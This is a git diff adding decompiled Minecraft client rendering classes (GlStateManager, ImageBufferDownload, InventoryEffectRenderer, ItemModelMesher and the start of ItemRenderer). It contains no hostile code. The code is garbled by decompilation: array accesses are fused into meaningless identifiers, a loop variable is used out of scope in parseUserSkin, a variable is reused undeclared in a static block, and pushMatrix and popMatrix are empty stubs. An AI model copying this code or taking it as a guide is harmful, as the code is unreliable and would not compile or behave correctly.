+  public static void func_179098_w()
+  {
+    field_179174_pfield_179162_ofield_179060_a.setEnabled();
+  }
+  
+  public static void func_179090_x()
+  {
+    field_179174_pfield_179162_ofield_179060_a.setDisabled();
+  }
+  
+  public static int func_179146_y()
+  {
+    return GL11.glGenTextures();
+  }
+  
+  public static void func_179150_h(int p_179150_0_)
+  {
+    if (p_179150_0_ != 0)
+    {
+      GL11.glDeleteTextures(p_179150_0_);
+      TextureState[] var1 = field_179174_p;
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        TextureState var4 = var1[var3];
+        
+        if (field_179059_b == p_179150_0_)
+        {
+          field_179059_b = 0;
+        }
+      }
+    }
+  }
+  
+  public static void func_179144_i(int p_179144_0_)
+  {
+    if (p_179144_0_ != field_179174_pfield_179162_ofield_179059_b)
+    {
+      field_179174_pfield_179162_ofield_179059_b = p_179144_0_;
+      GL11.glBindTexture(3553, p_179144_0_);
+    }
+  }
+  
+  public static void bindCurrentTexture()
+  {
+    GL11.glBindTexture(3553, field_179174_pfield_179162_ofield_179059_b);
+  }
+  
+  public static void enableNormalize()
+  {
+    normalizeState.setEnabled();
+  }
+  
+  public static void disableNormalize()
+  {
+    normalizeState.setDisabled();
+  }
+  
+  public static void shadeModel(int p_179103_0_)
+  {
+    if (p_179103_0_ != field_179173_q)
+    {
+      field_179173_q = p_179103_0_;
+      GL11.glShadeModel(p_179103_0_);
+    }
+  }
+  
+  public static void enableRescaleNormal()
+  {
+    rescaleNormalState.setEnabled();
+  }
+  
+  public static void disableRescaleNormal()
+  {
+    rescaleNormalState.setDisabled();
+  }
+  
+  public static void viewport(int p_179083_0_, int p_179083_1_, int p_179083_2_, int p_179083_3_)
+  {
+    if ((p_179083_0_ != field_179169_ufield_179058_a) || (p_179083_1_ != field_179169_ufield_179056_b) || (p_179083_2_ != field_179169_ufield_179057_c) || (p_179083_3_ != field_179169_ufield_179055_d))
+    {
+      field_179169_ufield_179058_a = p_179083_0_;
+      field_179169_ufield_179056_b = p_179083_1_;
+      field_179169_ufield_179057_c = p_179083_2_;
+      field_179169_ufield_179055_d = p_179083_3_;
+      GL11.glViewport(p_179083_0_, p_179083_1_, p_179083_2_, p_179083_3_);
+    }
+  }
+  
+  public static void colorMask(boolean p_179135_0_, boolean p_179135_1_, boolean p_179135_2_, boolean p_179135_3_)
+  {
+    if ((p_179135_0_ != colorMaskStatefield_179188_a) || (p_179135_1_ != colorMaskStatefield_179186_b) || (p_179135_2_ != colorMaskStatefield_179187_c) || (p_179135_3_ != colorMaskStatefield_179185_d))
+    {
+      colorMaskStatefield_179188_a = p_179135_0_;
+      colorMaskStatefield_179186_b = p_179135_1_;
+      colorMaskStatefield_179187_c = p_179135_2_;
+      colorMaskStatefield_179185_d = p_179135_3_;
+      GL11.glColorMask(p_179135_0_, p_179135_1_, p_179135_2_, p_179135_3_);
+    }
+  }
+  
+  public static void clearDepth(double p_179151_0_)
+  {
+    if (p_179151_0_ != clearStatefield_179205_a)
+    {
+      clearStatefield_179205_a = p_179151_0_;
+      GL11.glClearDepth(p_179151_0_);
+    }
+  }
+  
+  public static void clearColor(float p_179082_0_, float p_179082_1_, float p_179082_2_, float p_179082_3_)
+  {
+    if ((p_179082_0_ != clearStatefield_179203_b.field_179195_a) || (p_179082_1_ != clearStatefield_179203_b.green) || (p_179082_2_ != clearStatefield_179203_b.blue) || (p_179082_3_ != clearStatefield_179203_b.alpha))
+    {
+      clearStatefield_179203_b.field_179195_a = p_179082_0_;
+      clearStatefield_179203_b.green = p_179082_1_;
+      clearStatefield_179203_b.blue = p_179082_2_;
+      clearStatefield_179203_b.alpha = p_179082_3_;
+      GL11.glClearColor(p_179082_0_, p_179082_1_, p_179082_2_, p_179082_3_);
+    }
+  }
+  
+  public static void clear(int p_179086_0_)
+  {
+    if (clearEnabled)
+    {
+      GL11.glClear(p_179086_0_);
+    }
+  }
+  
+  public static void matrixMode(int p_179128_0_)
+  {
+    GL11.glMatrixMode(p_179128_0_);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void getFloat(int p_179111_0_, FloatBuffer p_179111_1_)
+  {
+    GL11.glGetFloat(p_179111_0_, p_179111_1_);
+  }
+  
+  public static void ortho(double p_179130_0_, double p_179130_2_, double p_179130_4_, double p_179130_6_, double p_179130_8_, double p_179130_10_)
+  {
+    GL11.glOrtho(p_179130_0_, p_179130_2_, p_179130_4_, p_179130_6_, p_179130_8_, p_179130_10_);
+  }
+  
+  public static void rotate(float p_179114_0_, float p_179114_1_, float p_179114_2_, float p_179114_3_)
+  {
+    GL11.glRotatef(p_179114_0_, p_179114_1_, p_179114_2_, p_179114_3_);
+  }
+  
+  public static void scale(float p_179152_0_, float p_179152_1_, float p_179152_2_)
+  {
+    GL11.glScalef(p_179152_0_, p_179152_1_, p_179152_2_);
+  }
+  
+  public static void scale(double p_179139_0_, double p_179139_2_, double p_179139_4_)
+  {
+    GL11.glScaled(p_179139_0_, p_179139_2_, p_179139_4_);
+  }
+  
+  public static void translate(float p_179109_0_, float p_179109_1_, float p_179109_2_)
+  {
+    GL11.glTranslatef(p_179109_0_, p_179109_1_, p_179109_2_);
+  }
+  
+  public static void translate(double p_179137_0_, double p_179137_2_, double p_179137_4_)
+  {
+    GL11.glTranslated(p_179137_0_, p_179137_2_, p_179137_4_);
+  }
+  
+  public static void multMatrix(FloatBuffer p_179110_0_)
+  {
+    GL11.glMultMatrix(p_179110_0_);
+  }
+  
+  public static void color(float p_179131_0_, float p_179131_1_, float p_179131_2_, float p_179131_3_)
+  {
+    if ((p_179131_0_ != colorStatefield_179195_a) || (p_179131_1_ != colorStategreen) || (p_179131_2_ != colorStateblue) || (p_179131_3_ != colorStatealpha))
+    {
+      colorStatefield_179195_a = p_179131_0_;
+      colorStategreen = p_179131_1_;
+      colorStateblue = p_179131_2_;
+      colorStatealpha = p_179131_3_;
+      GL11.glColor4f(p_179131_0_, p_179131_1_, p_179131_2_, p_179131_3_);
+    }
+  }
+  
+  public static void color(float p_179124_0_, float p_179124_1_, float p_179124_2_)
+  {
+    color(p_179124_0_, p_179124_1_, p_179124_2_, 1.0F);
+  }
+  
+  public static void func_179117_G()
+  {
+    colorStatefield_179195_a = (colorState.green = colorState.blue = colorState.alpha = -1.0F);
+  }
+  
+  public static void callList(int p_179148_0_)
+  {
+    GL11.glCallList(p_179148_0_);
+  }
+  
+  public static int getActiveTextureUnit()
+  {
+    return OpenGlHelper.defaultTexUnit + field_179162_o;
+  }
+  
+  public static int getBoundTexture()
+  {
+    return field_179174_pfield_179162_ofield_179059_b;
+  }
+  
+  public static void checkBoundTexture()
+  {
+    if (Config.isMinecraftThread())
+    {
+      int glAct = GL11.glGetInteger(34016);
+      int glTex = GL11.glGetInteger(32873);
+      int act = getActiveTextureUnit();
+      int tex = getBoundTexture();
+      
+      if (tex > 0)
+      {
+        if ((glAct != act) || (glTex != tex))
+        {
+          Config.dbg("checkTexture: act: " + act + ", glAct: " + glAct + ", tex: " + tex + ", glTex: " + glTex);
+        }
+      }
+    }
+  }
+  
+  public static void deleteTextures(IntBuffer buf)
+  {
+    buf.rewind();
+    
+    while (buf.position() < buf.limit())
+    {
+      int texId = buf.get();
+      func_179150_h(texId);
+    }
+    
+    buf.rewind();
+  }
+  
+
+
+  static
+  {
+    for (int var0 = 0; var0 < 8; var0++)
+    {
+      field_179159_c[var0] = new BooleanState(16384 + var0);
+    }
+    
+    for (var0 = 0; var0 < field_179174_p.length; var0++)
+    {
+      field_179174_p[var0] = new TextureState(null);
+    }
+  }
+  
+  static class AlphaState
+  {
+    public GlStateManager.BooleanState field_179208_a;
+    public int field_179206_b;
+    public float field_179207_c;
+    private static final String __OBFID = "CL_00002556";
+    
+    private AlphaState()
+    {
+      field_179208_a = new GlStateManager.BooleanState(3008);
+      field_179206_b = 519;
+      field_179207_c = -1.0F;
+    }
+    
+    AlphaState(GlStateManager.SwitchTexGen p_i46269_1_)
+    {
+      this();
+    }
+  }
+  
+  static class BlendState
+  {
+    public GlStateManager.BooleanState field_179213_a;
+    public int field_179211_b;
+    public int field_179212_c;
+    public int field_179209_d;
+    public int field_179210_e;
+    
+    private BlendState()
+    {
+      field_179213_a = new GlStateManager.BooleanState(3042);
+      field_179211_b = 1;
+      field_179212_c = 0;
+      field_179209_d = 1;
+      field_179210_e = 0;
+    }
+    
+    BlendState(GlStateManager.SwitchTexGen p_i46268_1_)
+    {
+      this();
+    }
+  }
+  
+  static class BooleanState
+  {
+    private final int capability;
+    private boolean currentState = false;
+    
+    public BooleanState(int p_i46267_1_) {
+      capability = p_i46267_1_;
+    }
+    
+    public void setDisabled()
+    {
+      setState(false);
+    }
+    
+    public void setEnabled()
+    {
+      setState(true);
+    }
+    
+    public void setState(boolean p_179199_1_)
+    {
+      if (p_179199_1_ != currentState)
+      {
+        currentState = p_179199_1_;
+        
+        if (p_179199_1_)
+        {
+          GL11.glEnable(capability);
+        }
+        else
+        {
+          GL11.glDisable(capability);
+        }
+      }
+    }
+  }
+  
+  static class ClearState
+  {
+    public double field_179205_a;
+    public GlStateManager.Color field_179203_b;
+    public int field_179204_c;
+    
+    private ClearState() {
+      field_179205_a = 1.0D;
+      field_179203_b = new GlStateManager.Color(0.0F, 0.0F, 0.0F, 0.0F);
+      field_179204_c = 0;
+    }
+    
+    ClearState(GlStateManager.SwitchTexGen p_i46266_1_)
+    {
+      this();
+    }
+  }
+  
+  static class Color
+  {
+    public float field_179195_a = 1.0F;
+    public float green = 1.0F;
+    public float blue = 1.0F;
+    public float alpha = 1.0F;
+    
+    public Color() {}
+    
+    public Color(float p_i46265_1_, float p_i46265_2_, float p_i46265_3_, float p_i46265_4_)
+    {
+      field_179195_a = p_i46265_1_;
+      green = p_i46265_2_;
+      blue = p_i46265_3_;
+      alpha = p_i46265_4_;
+    }
+  }
+  
+  static class ColorLogicState
+  {
+    public GlStateManager.BooleanState field_179197_a;
+    public int field_179196_b;
+    
+    private ColorLogicState()
+    {
+      field_179197_a = new GlStateManager.BooleanState(3058);
+      field_179196_b = 5379;
+    }
+    
+    ColorLogicState(GlStateManager.SwitchTexGen p_i46264_1_)
+    {
+      this();
+    }
+  }
+  
+  static class ColorMask
+  {
+    public boolean field_179188_a;
+    public boolean field_179186_b;
+    public boolean field_179187_c;
+    public boolean field_179185_d;
+    
+    private ColorMask()
+    {
+      field_179188_a = true;
+      field_179186_b = true;
+      field_179187_c = true;
+      field_179185_d = true;
+    }
+    
+    ColorMask(GlStateManager.SwitchTexGen p_i46263_1_)
+    {
+      this();
+    }
+  }
+  
+  static class ColorMaterialState
+  {
+    public GlStateManager.BooleanState field_179191_a;
+    public int field_179189_b;
+    public int field_179190_c;
+    
+    private ColorMaterialState()
+    {
+      field_179191_a = new GlStateManager.BooleanState(2903);
+      field_179189_b = 1032;
+      field_179190_c = 5634;
+    }
+    
+    ColorMaterialState(GlStateManager.SwitchTexGen p_i46262_1_)
+    {
+      this();
+    }
+  }
+  
+  static class CullState
+  {
+    public GlStateManager.BooleanState field_179054_a;
+    public int field_179053_b;
+    
+    private CullState()
+    {
+      field_179054_a = new GlStateManager.BooleanState(2884);
+      field_179053_b = 1029;
+    }
+    
+    CullState(GlStateManager.SwitchTexGen p_i46261_1_)
+    {
+      this();
+    }
+  }
+  
+  static class DepthState
+  {
+    public GlStateManager.BooleanState field_179052_a;
+    public boolean field_179050_b;
+    public int field_179051_c;
+    
+    private DepthState()
+    {
+      field_179052_a = new GlStateManager.BooleanState(2929);
+      field_179050_b = true;
+      field_179051_c = 513;
+    }
+    
+    DepthState(GlStateManager.SwitchTexGen p_i46260_1_)
+    {
+      this();
+    }
+  }
+  
+  static class FogState
+  {
+    public GlStateManager.BooleanState field_179049_a;
+    public int field_179047_b;
+    public float field_179048_c;
+    public float field_179045_d;
+    public float field_179046_e;
+    
+    private FogState()
+    {
+      field_179049_a = new GlStateManager.BooleanState(2912);
+      field_179047_b = 2048;
+      field_179048_c = 1.0F;
+      field_179045_d = 0.0F;
+      field_179046_e = 1.0F;
+    }
+    
+    FogState(GlStateManager.SwitchTexGen p_i46259_1_)
+    {
+      this();
+    }
+  }
+  
+  static class PolygonOffsetState
+  {
+    public GlStateManager.BooleanState field_179044_a;
+    public GlStateManager.BooleanState field_179042_b;
+    public float field_179043_c;
+    public float field_179041_d;
+    
+    private PolygonOffsetState()
+    {
+      field_179044_a = new GlStateManager.BooleanState(32823);
+      field_179042_b = new GlStateManager.BooleanState(10754);
+      field_179043_c = 0.0F;
+      field_179041_d = 0.0F;
+    }
+    
+    PolygonOffsetState(GlStateManager.SwitchTexGen p_i46258_1_)
+    {
+      this();
+    }
+  }
+  
+  static class StencilFunc
+  {
+    public int field_179081_a;
+    public int field_179079_b;
+    public int field_179080_c;
+    
+    private StencilFunc()
+    {
+      field_179081_a = 519;
+      field_179079_b = 0;
+      field_179080_c = -1;
+    }
+    
+    StencilFunc(GlStateManager.SwitchTexGen p_i46257_1_)
+    {
+      this();
+    }
+  }
+  
+  static class StencilState
+  {
+    public GlStateManager.StencilFunc field_179078_a;
+    public int field_179076_b;
+    public int field_179077_c;
+    public int field_179074_d;
+    public int field_179075_e;
+    
+    private StencilState()
+    {
+      field_179078_a = new GlStateManager.StencilFunc(null);
+      field_179076_b = -1;
+      field_179077_c = 7680;
+      field_179074_d = 7680;
+      field_179075_e = 7680;
+    }
+    
+    StencilState(GlStateManager.SwitchTexGen p_i46256_1_)
+    {
+      this();
+    }
+  }
+  
+  static final class SwitchTexGen
+  {
+    static final int[] field_179175_a = new int[GlStateManager.TexGen.values().length];
+    
+    static
+    {
+      try
+      {
+        field_179175_a[GlStateManager.TexGen.S.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179175_a[GlStateManager.TexGen.T.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_179175_a[GlStateManager.TexGen.R.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_179175_a[GlStateManager.TexGen.Q.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+
+    SwitchTexGen() {}
+  }
+  
+  public static enum TexGen
+  {
+    S("S", 0, "S", 0), 
+    T("T", 1, "T", 1), 
+    R("R", 2, "R", 2), 
+    Q("Q", 3, "Q", 3);
+    private static final TexGen[] $VALUES = { S, T, R, Q };
+    private static final String __OBFID = "CL_00002542";
+    
+    private TexGen(String p_i46378_1_, int p_i46378_2_, String p_i46255_1_, int p_i46255_2_) {}
+  }
+  
+  static class TexGenCoord
+  {
+    public GlStateManager.BooleanState field_179067_a;
+    public int field_179065_b;
+    public int field_179066_c = -1;
+    
+    public TexGenCoord(int p_i46254_1_, int p_i46254_2_)
+    {
+      field_179065_b = p_i46254_1_;
+      field_179067_a = new GlStateManager.BooleanState(p_i46254_2_);
+    }
+  }
+  
+  static class TexGenState
+  {
+    public GlStateManager.TexGenCoord field_179064_a;
+    public GlStateManager.TexGenCoord field_179062_b;
+    public GlStateManager.TexGenCoord field_179063_c;
+    public GlStateManager.TexGenCoord field_179061_d;
+    
+    private TexGenState()
+    {
+      field_179064_a = new GlStateManager.TexGenCoord(8192, 3168);
+      field_179062_b = new GlStateManager.TexGenCoord(8193, 3169);
+      field_179063_c = new GlStateManager.TexGenCoord(8194, 3170);
+      field_179061_d = new GlStateManager.TexGenCoord(8195, 3171);
+    }
+    
+    TexGenState(GlStateManager.SwitchTexGen p_i46253_1_)
+    {
+      this();
+    }
+  }
+  
+  static class TextureState
+  {
+    public GlStateManager.BooleanState field_179060_a;
+    public int field_179059_b;
+    
+    private TextureState()
+    {
+      field_179060_a = new GlStateManager.BooleanState(3553);
+      field_179059_b = 0;
+    }
+    
+    TextureState(GlStateManager.SwitchTexGen p_i46252_1_)
+    {
+      this();
+    }
+  }
+  
+  static class Viewport
+  {
+    public int field_179058_a;
+    public int field_179056_b;
+    public int field_179057_c;
+    public int field_179055_d;
+    
+    private Viewport()
+    {
+      field_179058_a = 0;
+      field_179056_b = 0;
+      field_179057_c = 0;
+      field_179055_d = 0;
+    }
+    
+    Viewport(GlStateManager.SwitchTexGen p_i46251_1_)
+    {
+      this();
+    }
+  }
+  
+  public static void glGetInteger(int parameterName, IntBuffer parameters)
+  {
+    GL11.glGetInteger(parameterName, parameters);
+  }
+  
+  public GlStateManager() {}
+  
+  public static void popAttrib() {}
+  
+  public static void loadIdentity() {}
+  
+  public static void pushMatrix() {}
+  
+  public static void popMatrix() {}
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/IImageBuffer.java b/src/minecraft/net/minecraft/client/renderer/IImageBuffer.java
new file mode 100644
index 0000000..06a598b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/IImageBuffer.java
@@ -0,0 +1,10 @@
+package net.minecraft.client.renderer;
+
+import java.awt.image.BufferedImage;
+
+public abstract interface IImageBuffer
+{
+  public abstract BufferedImage parseUserSkin(BufferedImage paramBufferedImage);
+  
+  public abstract void func_152634_a();
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ImageBufferDownload.java b/src/minecraft/net/minecraft/client/renderer/ImageBufferDownload.java
new file mode 100644
index 0000000..c163931
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ImageBufferDownload.java
@@ -0,0 +1,124 @@
+package net.minecraft.client.renderer;
+
+import java.awt.Graphics;
+import java.awt.image.BufferedImage;
+
+public class ImageBufferDownload implements IImageBuffer
+{
+  private int[] imageData;
+  private int imageWidth;
+  private int imageHeight;
+  
+  public ImageBufferDownload() {}
+  
+  public BufferedImage parseUserSkin(BufferedImage p_78432_1_)
+  {
+    if (p_78432_1_ == null)
+    {
+      return null;
+    }
+    
+
+    imageWidth = 64;
+    imageHeight = 64;
+    int srcWidth = p_78432_1_.getWidth();
+    int srcHeight = p_78432_1_.getHeight();
+    
+
+    for (int k = 1; (imageWidth < srcWidth) || (imageHeight < srcHeight); k *= 2)
+    {
+      imageWidth *= 2;
+      imageHeight *= 2;
+    }
+    
+    BufferedImage var2 = new BufferedImage(imageWidth, imageHeight, 2);
+    Graphics var3 = var2.getGraphics();
+    var3.drawImage(p_78432_1_, 0, 0, null);
+    
+    if (p_78432_1_.getHeight() == 32 * k)
+    {
+      var3.drawImage(var2, 24 * k, 48 * k, 20 * k, 52 * k, 4 * k, 16 * k, 8 * k, 20 * k, null);
+      var3.drawImage(var2, 28 * k, 48 * k, 24 * k, 52 * k, 8 * k, 16 * k, 12 * k, 20 * k, null);
+      var3.drawImage(var2, 20 * k, 52 * k, 16 * k, 64 * k, 8 * k, 20 * k, 12 * k, 32 * k, null);
+      var3.drawImage(var2, 24 * k, 52 * k, 20 * k, 64 * k, 4 * k, 20 * k, 8 * k, 32 * k, null);
+      var3.drawImage(var2, 28 * k, 52 * k, 24 * k, 64 * k, 0 * k, 20 * k, 4 * k, 32 * k, null);
+      var3.drawImage(var2, 32 * k, 52 * k, 28 * k, 64 * k, 12 * k, 20 * k, 16 * k, 32 * k, null);
+      var3.drawImage(var2, 40 * k, 48 * k, 36 * k, 52 * k, 44 * k, 16 * k, 48 * k, 20 * k, null);
+      var3.drawImage(var2, 44 * k, 48 * k, 40 * k, 52 * k, 48 * k, 16 * k, 52 * k, 20 * k, null);
+      var3.drawImage(var2, 36 * k, 52 * k, 32 * k, 64 * k, 48 * k, 20 * k, 52 * k, 32 * k, null);
+      var3.drawImage(var2, 40 * k, 52 * k, 36 * k, 64 * k, 44 * k, 20 * k, 48 * k, 32 * k, null);
+      var3.drawImage(var2, 44 * k, 52 * k, 40 * k, 64 * k, 40 * k, 20 * k, 44 * k, 32 * k, null);
+      var3.drawImage(var2, 48 * k, 52 * k, 44 * k, 64 * k, 52 * k, 20 * k, 56 * k, 32 * k, null);
+    }
+    
+    var3.dispose();
+    imageData = ((java.awt.image.DataBufferInt)var2.getRaster().getDataBuffer()).getData();
+    setAreaOpaque(0, 0, 32 * k, 16 * k);
+    setAreaTransparent(32 * k, 0, 64 * k, 32 * k);
+    setAreaOpaque(0, 16 * k, 64 * k, 32 * k);
+    setAreaTransparent(0, 32 * k, 16 * k, 48 * k);
+    setAreaTransparent(16 * k, 32 * k, 40 * k, 48 * k);
+    setAreaTransparent(40 * k, 32 * k, 56 * k, 48 * k);
+    setAreaTransparent(0, 48 * k, 16 * k, 64 * k);
+    setAreaOpaque(16 * k, 48 * k, 48 * k, 64 * k);
+    setAreaTransparent(48 * k, 48 * k, 64 * k, 64 * k);
+    return var2;
+  }
+  
+
+
+
+  public void func_152634_a() {}
+  
+
+
+
+  private void setAreaTransparent(int p_78434_1_, int p_78434_2_, int p_78434_3_, int p_78434_4_)
+  {
+    if (!hasTransparency(p_78434_1_, p_78434_2_, p_78434_3_, p_78434_4_))
+    {
+      for (int var5 = p_78434_1_; var5 < p_78434_3_; var5++)
+      {
+        for (int var6 = p_78434_2_; var6 < p_78434_4_; var6++)
+        {
+          imageData[(var5 + var6 * imageWidth)] &= 0xFFFFFF;
+        }
+      }
+    }
+  }
+  
+
+
+
+  private void setAreaOpaque(int p_78433_1_, int p_78433_2_, int p_78433_3_, int p_78433_4_)
+  {
+    for (int var5 = p_78433_1_; var5 < p_78433_3_; var5++)
+    {
+      for (int var6 = p_78433_2_; var6 < p_78433_4_; var6++)
+      {
+        imageData[(var5 + var6 * imageWidth)] |= 0xFF000000;
+      }
+    }
+  }
+  
+
+
+
+  private boolean hasTransparency(int p_78435_1_, int p_78435_2_, int p_78435_3_, int p_78435_4_)
+  {
+    for (int var5 = p_78435_1_; var5 < p_78435_3_; var5++)
+    {
+      for (int var6 = p_78435_2_; var6 < p_78435_4_; var6++)
+      {
+        int var7 = imageData[(var5 + var6 * imageWidth)];
+        
+        if ((var7 >> 24 & 0xFF) < 128)
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/InventoryEffectRenderer.java b/src/minecraft/net/minecraft/client/renderer/InventoryEffectRenderer.java
new file mode 100644
index 0000000..229243f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/InventoryEffectRenderer.java
@@ -0,0 +1,114 @@
+package net.minecraft.client.renderer;
+
+import java.util.Collection;
+import java.util.Iterator;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.inventory.GuiContainer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+
+public abstract class InventoryEffectRenderer extends GuiContainer
+{
+  private boolean hasActivePotionEffects;
+  private static final String __OBFID = "CL_00000755";
+  
+  public InventoryEffectRenderer(net.minecraft.inventory.Container p_i1089_1_)
+  {
+    super(p_i1089_1_);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    func_175378_g();
+  }
+  
+  protected void func_175378_g()
+  {
+    if (!mc.thePlayer.getActivePotionEffects().isEmpty())
+    {
+      guiLeft = (160 + (width - xSize - 200) / 2);
+      hasActivePotionEffects = true;
+    }
+    else
+    {
+      guiLeft = ((width - xSize) / 2);
+      hasActivePotionEffects = false;
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    
+    if (hasActivePotionEffects)
+    {
+      drawActivePotionEffects();
+    }
+  }
+  
+
+
+
+  private void drawActivePotionEffects()
+  {
+    int var1 = guiLeft - 124;
+    int var2 = guiTop;
+    boolean var3 = true;
+    Collection var4 = mc.thePlayer.getActivePotionEffects();
+    
+    if (!var4.isEmpty())
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableLighting();
+      int var5 = 33;
+      
+      if (var4.size() > 5)
+      {
+        var5 = 132 / (var4.size() - 1);
+      }
+      
+      for (Iterator var6 = mc.thePlayer.getActivePotionEffects().iterator(); var6.hasNext(); var2 += var5)
+      {
+        PotionEffect var7 = (PotionEffect)var6.next();
+        Potion var8 = Potion.potionTypes[var7.getPotionID()];
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        mc.getTextureManager().bindTexture(inventoryBackground);
+        drawTexturedModalRect(var1, var2, 0, 166, 140, 32);
+        
+        if (var8.hasStatusIcon())
+        {
+          int var9 = var8.getStatusIconIndex();
+          drawTexturedModalRect(var1 + 6, var2 + 7, 0 + var9 % 8 * 18, 198 + var9 / 8 * 18, 18, 18);
+        }
+        
+        String var11 = I18n.format(var8.getName(), new Object[0]);
+        
+        if (var7.getAmplifier() == 1)
+        {
+          var11 = var11 + " " + I18n.format("enchantment.level.2", new Object[0]);
+        }
+        else if (var7.getAmplifier() == 2)
+        {
+          var11 = var11 + " " + I18n.format("enchantment.level.3", new Object[0]);
+        }
+        else if (var7.getAmplifier() == 3)
+        {
+          var11 = var11 + " " + I18n.format("enchantment.level.4", new Object[0]);
+        }
+        
+        fontRendererObj.drawStringWithShadow(var11, var1 + 10 + 18, var2 + 6, 16777215);
+        String var10 = Potion.getDurationString(var7);
+        fontRendererObj.drawStringWithShadow(var10, var1 + 10 + 18, var2 + 6 + 10, 8355711);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ItemMeshDefinition.java b/src/minecraft/net/minecraft/client/renderer/ItemMeshDefinition.java
new file mode 100644
index 0000000..49fdf08
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ItemMeshDefinition.java
@@ -0,0 +1,9 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.item.ItemStack;
+
+public abstract interface ItemMeshDefinition
+{
+  public abstract ModelResourceLocation getModelLocation(ItemStack paramItemStack);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ItemModelMesher.java b/src/minecraft/net/minecraft/client/renderer/ItemModelMesher.java
new file mode 100644
index 0000000..26c5fe7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ItemModelMesher.java
@@ -0,0 +1,102 @@
+package net.minecraft.client.renderer;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class ItemModelMesher
+{
+  private final Map simpleShapes = Maps.newHashMap();
+  private final Map simpleShapesCache = Maps.newHashMap();
+  private final Map shapers = Maps.newHashMap();
+  private final ModelManager modelManager;
+  private static final String __OBFID = "CL_00002536";
+  
+  public ItemModelMesher(ModelManager p_i46250_1_)
+  {
+    modelManager = p_i46250_1_;
+  }
+  
+  public TextureAtlasSprite getParticleIcon(Item p_178082_1_)
+  {
+    return getParticleIcon(p_178082_1_, 0);
+  }
+  
+  public TextureAtlasSprite getParticleIcon(Item p_178087_1_, int p_178087_2_)
+  {
+    return getItemModel(new ItemStack(p_178087_1_, 1, p_178087_2_)).getTexture();
+  }
+  
+  public IBakedModel getItemModel(ItemStack p_178089_1_)
+  {
+    Item var2 = p_178089_1_.getItem();
+    IBakedModel var3 = getItemModel(var2, getMetadata(p_178089_1_));
+    
+    if (var3 == null)
+    {
+      ItemMeshDefinition var4 = (ItemMeshDefinition)shapers.get(var2);
+      
+      if (var4 != null)
+      {
+        var3 = modelManager.getModel(var4.getModelLocation(p_178089_1_));
+      }
+    }
+    
+    if (var3 == null)
+    {
+      var3 = modelManager.getMissingModel();
+    }
+    
+    return var3;
+  }
+  
+  protected int getMetadata(ItemStack p_178084_1_)
+  {
+    return p_178084_1_.isItemStackDamageable() ? 0 : p_178084_1_.getMetadata();
+  }
+  
+  protected IBakedModel getItemModel(Item p_178088_1_, int p_178088_2_)
+  {
+    return (IBakedModel)simpleShapesCache.get(Integer.valueOf(getIndex(p_178088_1_, p_178088_2_)));
+  }
+  
+  private int getIndex(Item p_178081_1_, int p_178081_2_)
+  {
+    return Item.getIdFromItem(p_178081_1_) << 16 | p_178081_2_;
+  }
+  
+  public void register(Item p_178086_1_, int p_178086_2_, ModelResourceLocation p_178086_3_)
+  {
+    simpleShapes.put(Integer.valueOf(getIndex(p_178086_1_, p_178086_2_)), p_178086_3_);
+    simpleShapesCache.put(Integer.valueOf(getIndex(p_178086_1_, p_178086_2_)), modelManager.getModel(p_178086_3_));
+  }
+  
+  public void register(Item p_178080_1_, ItemMeshDefinition p_178080_2_)
+  {
+    shapers.put(p_178080_1_, p_178080_2_);
+  }
+  
+  public ModelManager getModelManager()
+  {
+    return modelManager;
+  }
+  
+  public void rebuildCache()
+  {
+    simpleShapesCache.clear();
+    Iterator var1 = simpleShapes.entrySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Map.Entry var2 = (Map.Entry)var1.next();
+      simpleShapesCache.put(var2.getKey(), modelManager.getModel((ModelResourceLocation)var2.getValue()));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ItemRenderer.java b/src/minecraft/net/minecraft/client/renderer/ItemRenderer.java
new file mode 100644
index 0000000..65b3a0a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ItemRenderer.java
@@ -0,0 +1,672 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
